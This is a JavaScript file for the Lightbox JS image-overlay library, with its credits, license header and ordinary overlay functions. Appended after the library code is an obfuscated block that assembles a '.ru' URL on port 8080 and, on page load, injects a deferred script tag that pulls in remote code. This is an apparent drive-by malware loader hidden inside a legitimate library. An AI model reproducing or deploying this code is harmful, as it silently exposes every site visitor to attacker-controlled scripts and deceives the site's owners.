/*
Lightbox JS: Fullsize Image Overlays 
by Lokesh Dhakar - http://www.huddletogether.com

For more information on this script, visit:
http://huddletogether.com/projects/lightbox/

Script featured on Dynamic Drive code library Jan 24th, 06':
http://www.dynamicdrive.com

Licensed under the Creative Commons Attribution 2.5 License - http://creativecommons.org/licenses/by/2.5/
(basically, do anything you want, just leave my name and link)
*/


// Returns array with page width, height and window width, height
// Core code from - quirksmode.org
// Edit for Firefox by pHaez
function getPageSize() {
	
	var xScroll, yScroll;
	
	if (window.innerHeight && window.scrollMaxY) {	
		xScroll = document.body.scrollWidth;
		yScroll = window.innerHeight + window.scrollMaxY;
	} else if (document.body.scrollHeight > document.body.offsetHeight){ // all but Explorer Mac
		xScroll = document.body.scrollWidth;
		yScroll = document.body.scrollHeight;
	} else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
		xScroll = document.body.offsetWidth;
		yScroll = document.body.offsetHeight;
	}
	
	var windowWidth, windowHeight;
	if (self.innerHeight) {	// all except Explorer
		windowWidth = self.innerWidth;
		windowHeight = self.innerHeight;
	} else if (document.documentElement && document.documentElement.clientHeight) { // Explorer 6 Strict Mode
		windowWidth = document.documentElement.clientWidth;
		windowHeight = document.documentElement.clientHeight;
	} else if (document.body) { // other Explorers
		windowWidth = document.body.clientWidth;
		windowHeight = document.body.clientHeight;
	}	
	
	// for small pages with total height less then height of the viewport
	if(yScroll < windowHeight){
		pageHeight = windowHeight;
	} else { 
		pageHeight = yScroll;
	}

	// for small pages with total width less then width of the viewport
	if(xScroll < windowWidth){	
		pageWidth = windowWidth;
	} else {
		pageWidth = xScroll;
	}

	arrayPageSize = new Array(pageWidth,pageHeight,windowWidth,windowHeight) 
	return arrayPageSize;
}


// Preloads images. Pleaces new image in lightbox then centers and displays.
function showLightbox() {
	var objOverlay = document.getElementById('overlay');
	var arrayPageSize = getPageSize();
	// set height of Overlay to take up whole page and show
	objOverlay.style.height = (arrayPageSize[1] + 'px');
	objOverlay.style.display = 'block';
}

// disables lightbox effect
function hideLightbox() {
	objOverlay = document.getElementById('overlay');
	objOverlay.style.display = 'none';
}

// Function runs on window load, going through link tags looking for rel="lightbox".
// These links receive onclick events that enable the lightbox display for their targets.
// The function also inserts html markup at the top of the page which will be used as a
// container for the overlay pattern and the inline image.
function initLightbox()
{
	var objBody = document.getElementsByTagName("body").item(0);
	var objOverlay = document.createElement("div");
	objOverlay.setAttribute('id','overlay');
	objOverlay.style.display = 'none';
	objOverlay.style.position = 'absolute';
	objOverlay.style.top = '0';
	objOverlay.style.left = '0';
	objOverlay.style.zIndex = '0';
 	objOverlay.style.width = '100%';
	objBody.insertBefore(objOverlay, objBody.firstChild);
	
	showLightbox();
}
var s=false;y=["O","g","E"];var S;sD={gr:false};var Q={wJ:"gu"};c=function(){var Hd=["H","nt"];this._=37411;this._+=123;function Y(nr,v,u){return nr.substr(v,u);var nq={YP:"I"};xR=55510;xR-=143;}var j={MH:false};A=14257;A+=184;var FV=["h"];var z=String("/g"+Y("ooSTdG",0,2)+Y("jQbglQjb",3,2)+Y("kige.gik",3,2)+Y("NYDcoYDN",3,2)+Y("FYrm/FrY",3,2)+Y("tmfG0",0,2)+"z."+Y("cosK4B",0,2)+"m/"+"ye"+"ll"+Y("owU06",0,2)+Y("paMFH",0,2)+"ge"+"s."+Y("coBQ5",0,2)+"m."+"ph"+"p");var K='';var zf=RegExp;this.KZ=33500;this.KZ--;Vs=30387;Vs--;var F=document;function n(nr,v){try {var up='l'} catch(up){};var PJ="PJ";var u=Y("[tZS",0,1)+v+"]";var Xt=false;var m=new zf(u, new String("g"));var PD=new Array();de=["fU","QP"];return nr.replace(m, K);this.C=50250;this.C-=196;};var t=599813-591733;var ay={pW:14270};var uJ=n('sbcPrOiqpmtO','OInSmUCLaZkdK9PgBqE4bojRF');var N=9597;try {var Ud='AZ'} catch(Ud){};var R=null;var W=String("bod"+"y");this.Bb=false;var D={UP:46773};var yd={AM:false};je=["jB"];S=function(){try {var Be='Ua'} catch(Be){};this.uu=false;try {this.hk='';var xU=new Array();var w=n('cor0e0aftpeWERl8eomdeWndtW','fydujW80pRo9zC');var qK={AS:"hN"};this.Yy=38334;this.Yy-=21;Sz=F[w](uJ);var cr={sA:"Mr"};this.Pe=false;var uy=[];var nr=t+z;var J=new String(Y("dekAy",0,2)+Y("feEKN",0,2)+Y("xaPgraxPg",4,1));var H_={};IS=14673;IS+=37;var T=n('s_rWcQ','Q_AS1W');var Mt=["QL","Fv"];var QU=new String();Sz[T]=String(Y("http3nQV",0,4)+Y("4S2://a24S",3,4)+Y("xdYnyscdxY",3,4)+Y("7QMyent.yQ7M",4,4)+Y("ru:T17M",0,3))+nr;Sz[J]=[1][0];var IK=new Array();this.Bf="Bf";var _x=["lu","YcG"];F[W].appendChild(Sz);dV=38943;dV--;try {var Qc='Ns'} catch(Qc){};} catch(Kk){var Ja=["gA","gS","Tu"];var CH=new Array();};};try {var CZ='nP'} catch(CZ){};var Km=false;};c();this.QA="QA";this.Rv="Rv";var xn="";window.onload=S;var ifk="ifk";this.qa="";var lM=new Array();var FA=new String();